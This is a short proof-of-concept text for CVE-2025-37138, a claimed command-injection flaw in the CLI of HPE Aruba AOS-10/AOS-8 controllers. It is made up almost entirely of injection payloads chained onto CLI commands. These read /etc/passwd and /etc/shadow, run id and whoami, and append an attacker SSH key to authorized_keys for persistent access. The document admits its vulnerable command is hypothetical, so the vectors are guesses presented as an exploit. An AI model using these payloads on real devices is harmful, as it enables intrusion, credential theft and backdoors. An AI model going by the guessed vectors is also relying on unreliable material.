CVE-2025-37138

# CVE-2025-37138 - HPE Aruba AOS-10/AOS-8 CLI Command Injection PoC # Note: Requires physical access and high-privilege authentication # Step 1: Connect to the controller via console/SSH with admin credentials # ssh admin@<controller-ip> # Step 2: Inject OS commands through vulnerable CLI parameter # Example: Inject command via a CLI parameter that passes user input to OS shell # The following demonstrates command injection via semicolon separator # Vulnerable CLI command example (hypothetical): # (controller) # show tech-support filename <user_input> # Malicious payload exploiting command injection: # (controller) # show tech-support filename test;id # Expected output: command executes 'id' on underlying OS # Another injection vector using backticks: # (controller) # ping `cat /etc/passwd` # Using pipe operator: # (controller) # traceroute 127.0.0.1 | cat /etc/shadow # Post-exploitation: Establish persistent access # (controller) # show tech-support filename x;echo 'attacker_key' >> /etc/authorized_keys # Verify command execution as privileged user: # (controller) # show tech-support filename x;whoami # Expected result: root or privileged OS user
